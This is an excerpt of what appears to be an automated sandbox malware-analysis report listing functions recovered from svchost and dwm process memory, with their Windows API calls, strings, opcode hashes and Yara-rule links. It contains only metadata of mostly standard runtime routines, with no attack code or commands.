Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: ba38e771323935cd7c4c993903e564a77b026bca2c24c40e091b995464114721
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 39315432B0064087E714DF12E84CB1977A9F386F89F0A8418EA5B23789DF79C948C786

Function 000002A661301A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002A661301A60
StrCmpNIW.SHLWAPI ref: 000002A661301A7A
lstrlenW.KERNEL32 ref: 000002A661301A89
StrCpyW.SHLWAPI ref: 000002A661301A9E

Strings

\\?\, xrefs: 000002A661301A6E

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: b1b7e669e6661b3feae12b7b33b5b685191a7800304716cf001d880ba287570f
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 07F08C72B0468083FB208B60E88C35A63B9F749F88F888024DA4A57964DF6CC68DCB01

Function 000002A661303044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002A661303066
StrCpyW.SHLWAPI ref: 000002A661303076
StrCatW.SHLWAPI ref: 000002A661303082
PathCombineW.SHLWAPI ref: 000002A661303090

Strings

\\.\pipe\, xrefs: 000002A66130305C

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: cf77e8b58ec68dbf932fe7d168add0dfe5d0c02535d993d737ff7324a50749b0
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 65F08CA0B04BC083EA008B93B90D119B2A9AB4AFC0F0C8430EE4B27B28DF7CC44D8701

Function 000002A66130BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002A66130BCBD
GetProcAddress.KERNEL32 ref: 000002A66130BCD3
FreeLibrary.KERNEL32 ref: 000002A66130BCFA

Strings

mscoree.dll, xrefs: 000002A66130BCB4
CorExitProcess, xrefs: 000002A66130BCCC

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: e21ae87d0ac0485e57b5ed7f78d9bcfc49820b6887902ab70198c3f652ea4012
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 24F06275B1164583EF108B64E84D3597368EB86F61F5C4619CA6B5B1E8CF6CC14DC341

Function 000002A6613050D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305156

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 9fa3ce34b8c865c90ad51e3620c2008df4696012e5c82a0db968548b5f0cb8e8
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 1002E832A19B8487EB60CB55F49835AB7E4F3C5B91F140015EA8E97BA8DF7DC488CB41

Function 000002A661305710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305726

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 94fa4eeebce64f2b49e1f32bc3357c48cfb3c794009292f3f2d6159d2374f774
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: AE61F636A19B44C7E7608B15E44C31AB7E8F389B85F580115EA8E57BA8DF7CC548CF82

Function 000002A661314104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A66131412C
_set_statfp.LIBCMT ref: 000002A661314147
_set_statfp.LIBCMT ref: 000002A661314163
_set_statfp.LIBCMT ref: 000002A66131419F

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 66361736f5e8a90f3f2d0b71ac309b0d3cb3498acf01c0f7b7fefb88f4f0f5d8
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: F211A022F10A5123F6641568E95F369354C6B7BBBCF5C0634E977277E6CF2CC84A8202

Function 000002A6612E3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A6612E352C
_set_statfp.LIBCMT ref: 000002A6612E3547
_set_statfp.LIBCMT ref: 000002A6612E3563
_set_statfp.LIBCMT ref: 000002A6612E359F

Memory Dump Source

Source File: 00000020.00000002.3089296987.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a6612d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 22cd65d3b8f6dd6f7d9b94902791a143805ac03df98696b6fd4da49aabfe5191
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: F2118F22F10AD113FA649539F44D36911CD7B5FB76E4C8638A966073F68F2CCACD4202

Function 000002A6612DF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002A6612DF124

Strings

Wednesday, xrefs: 000002A6612DF1ED
or copy constructor iterator', xrefs: 000002A6612DF25A, 000002A6612DF275
Tuesday, xrefs: 000002A6612DF0F4

Memory Dump Source

Source File: 00000020.00000002.3089296987.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a6612d0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 0bf1e752806efdf3d6918c8cb5621e3440e718aefe77ceb97043c9c5cc2f889e
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 80618E66F0024047FB658B75E54C32B66ADEB87F40F5D4519CA4A177A8DF3CC9CE820A

Function 000002A66130AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002A66130AA68
_CallSETranslator.LIBVCRUNTIME ref: 000002A66130AAB7

Strings

RCC, xrefs: 000002A66130AA85
MOC, xrefs: 000002A66130AA7C

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: af1233a52f56241061660763b27a88547fce862d6649db4ccb4df901e0d389cc
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 86614932B00B848AEB20DF65E44839D77E4F345B89F084215EE4A27BA8DF78C599C781

Function 000002A66130AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A66130ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002A66130AE88

Strings

csm, xrefs: 000002A66130ADC2
csm, xrefs: 000002A66130AEDA

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 71553aecd4e6c0be1a45bd4f8553e36c14cf70e2545c3f161416fa0a9a176b52
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 7F519272B002808BEB648F25A49C35977E8F356F86F1C4119DA8A67BE5CF7CD458C782

Function 000002A6612DA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612DA1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002A6612DA288

Strings

csm, xrefs: 000002A6612DA2DA
csm, xrefs: 000002A6612DA1C2

Memory Dump Source

Source File: 00000020.00000002.3089296987.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a6612d0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 9e9e64640e33ee222bca170c8ee76b8c2aa3a2d202631a961c3e70975ee64d6a
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: CE515B32E042808BEBA48B26D44CB5877ADFB56F84F1C5116DA9987AE5CF7CD4D88702

Function 000002A6612D8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6612D84A8

Strings

f, xrefs: 000002A6612D8426
csm, xrefs: 000002A6612D848E

Memory Dump Source

Source File: 00000020.00000002.3089296987.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a6612d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 8201e1b19b336b27b06942c19ab8646d026c506d3e7787226ca7cd4a84cb06ae
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4751AF32F112008BEB14CB15E40CB59379DFB52F98F9AA124DA064378CEF38D9C89706

Function 000002A6612D83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612D8413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6612D84A8

Strings

f, xrefs: 000002A6612D8426
csm, xrefs: 000002A6612D848E

Memory Dump Source

Source File: 00000020.00000002.3089296987.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a6612d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: cefbc8a046af985220aa2329bd1f73024f30a7703efedaf0860a35be415e2574
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 94317A35B1168097E7149B21E84C75937ACFB42F88F5A9018EE5A03788DF3CC988D706

Function 000002A661312058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002A6613120D7
WriteFile.KERNEL32 ref: 000002A66131239F
WriteFile.KERNEL32 ref: 000002A6613123E5
GetLastError.KERNEL32 ref: 000002A66131249B

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: daab32c25a9fadadc3e1a32652520a2a78c62dababe1d4e9fdec7867a8e6883d
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 7AD1E332B14A808AE711CFB5D54939C3BB9F356B98F284215DE5AB7B99DF38C40AC341

Function 000002A6613014A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A6613014C5
HeapFree.KERNEL32 ref: 000002A6613014D4
GetProcessHeap.KERNEL32 ref: 000002A6613014E1
HeapFree.KERNEL32 ref: 000002A6613014F0
GetProcessHeap.KERNEL32 ref: 000002A661301500

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: 921e1a85b60784aa0bba0433d9b0249e05675eea00effd83e5fc34bb76f58227
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: D5118BB6A00AD0C7E714DFA2A80D25977B8F78AF85F084035EA4A23726DF7CC058C741

Function 000002A661312980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002A661312A9C
GetLastError.KERNEL32 ref: 000002A661312B27

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: f98e1d8c780189fb48322b240abb3135e65948d30303f15e17900ffbada13fd6
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 85918E72B1065486FB609F75994E3AD3BA8B747F98F284109DE0B77694DF38C48AC702

Function 000002A661307960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002A66130798C
GetCurrentThreadId.KERNEL32 ref: 000002A66130799A
GetCurrentProcessId.KERNEL32 ref: 000002A6613079A6
QueryPerformanceCounter.KERNEL32 ref: 000002A6613079B6

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 1cc862d301829f27dd78957ba1fd8c5096fa0c01cbaac4e6f591e442f6dc95cb
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 14111F32B10F418AEB409B60E8593A833B8F719B58F480D21DA6E57794DF7CC1988381

Function 000002A66130253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A661302620
StrCpyW.SHLWAPI ref: 000002A661302639

Strings

\\.\pipe\, xrefs: 000002A66130262B

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: a77167060b87a4fc452a4d9a47af32d2e27e7869f2a7b79b94de1e5e43e7598e
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 3571A436B0078147EA25DE35994C3AA67E8F386F95F580016DD0B63B89DF39C54DC782

Function 000002A6612D9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002A6612D9EB7

Strings

MOC, xrefs: 000002A6612D9E7C
RCC, xrefs: 000002A6612D9E85

Memory Dump Source

Source File: 00000020.00000002.3089296987.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a6612d0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 4c1e01fd7d14f6ffb4a4eaa44a0f6dfd295677d667dd27de79d18e1f6fb3ebd9
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 21614832F00B848AEB20DF65D48879D77A8FB45B88F084216EF4917B99DF38D199C701

Function 000002A661302330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A661302416
StrCpyW.SHLWAPI ref: 000002A66130242D

Strings

\\.\pipe\, xrefs: 000002A661302421

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 8b65ca84562374e5dcff84955426101dcfa6df48021d4bc966f847153521bb2b
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 03519232B0478183E664DA39A65C3AAA6E9F386F41F4A0125DD5B33B59DF3DC50C87C2

Function 000002A6613126F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002A661312807
GetLastError.KERNEL32 ref: 000002A661312829

Strings

U, xrefs: 000002A6613127B3

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 435cc8df130a4e77d3710c788b2ddf4808abbc3271533ea666418ec5651f9c6f
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: E941E672B14A8087DB20DF25E94D3AA77A4F38AB94F584021EE4E97784DF7CC405C741

Function 000002A6613094A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002A6613094F0
RaiseException.KERNEL32 ref: 000002A661309531

Strings

csm, xrefs: 000002A66130951E

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: b3e6afc7812eff5d23d9e2531ddbd3c8dde3b3595130f4102b15f64d21df9287
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 5A115832604B8082EB218F15E448359B7E8FB89F94F1D4220EE8E17B68DF3CC555CB40

Function 000002A6612D7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002A6612D737C

Strings

ierarchy Descriptor', xrefs: 000002A6612D7381
riptor at (, xrefs: 000002A6612D7364

Memory Dump Source

Source File: 00000020.00000002.3089296987.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a6612d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 0f3f6b22aa811685f5e546128debed61f89d1e56892167602ce41c22e1950124
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: FDE04F65B50B8591DB028F62E8482D833A89B5AB64B489122D95C07311EB3CD2EDC301

Function 000002A6612D73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002A6612D73D8

Strings

Locator', xrefs: 000002A6612D73DD
riptor at (, xrefs: 000002A6612D73C0

Memory Dump Source

Source File: 00000020.00000002.3089296987.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a6612d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 93a3ced56bc647de6299b8a1905d2a6032edb69f7bc4320d41604ef82ca62c1f
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: AEE08666F10B4481DF028F71E4441D87368EB5AF54B8C9122C95C07311EF3CD2E9C301

Function 000002A661301BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A661301C2D
HeapAlloc.KERNEL32 ref: 000002A661301C3B
GetProcessHeap.KERNEL32 ref: 000002A661301C77
HeapFree.KERNEL32 ref: 000002A661301C85

Part of subcall function 000002A66130152C: StrCmpIW.SHLWAPI ref: 000002A66130155D

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 72cf71b4c8bcd0622c645fc165e77207b5f5e2b8a8cfb2fde8c47a753de635a3
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: FC115B75B01B8482EA04DB66A80D22A73E9EB8AFC5F1C4028DE4E67765DFBCC446C341

Function 000002A661301268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A66130126E
HeapAlloc.KERNEL32 ref: 000002A66130127D
GetProcessHeap.KERNEL32 ref: 000002A661301297
HeapAlloc.KERNEL32 ref: 000002A6613012A8

Memory Dump Source

Source File: 00000020.00000002.3090317443.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: b5369b631e5731d7a483f2840394a7dd6d44661382897b8f9f01a4c4ceb7f075
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 18E065B5B01A4487EB088FA2D80D34A36E5FB8AF06F09C024CD0A07361DFFD8499CB91

Analysis Process: dwm.exePID: 988, Parent PID: 7824COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	95.3%
Signature Coverage:	0%
Total number of Nodes:	127
Total number of Limit Nodes:	16

Executed Functions

Function 000002BAAEDD1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDD1633
HeapAlloc.KERNEL32 ref: 000002BAAEDD1642

Part of subcall function 000002BAAEDD1268: GetProcessHeap.KERNEL32 ref: 000002BAAEDD126E
Part of subcall function 000002BAAEDD1268: HeapAlloc.KERNEL32 ref: 000002BAAEDD127D
Part of subcall function 000002BAAEDD1268: GetProcessHeap.KERNEL32 ref: 000002BAAEDD1297
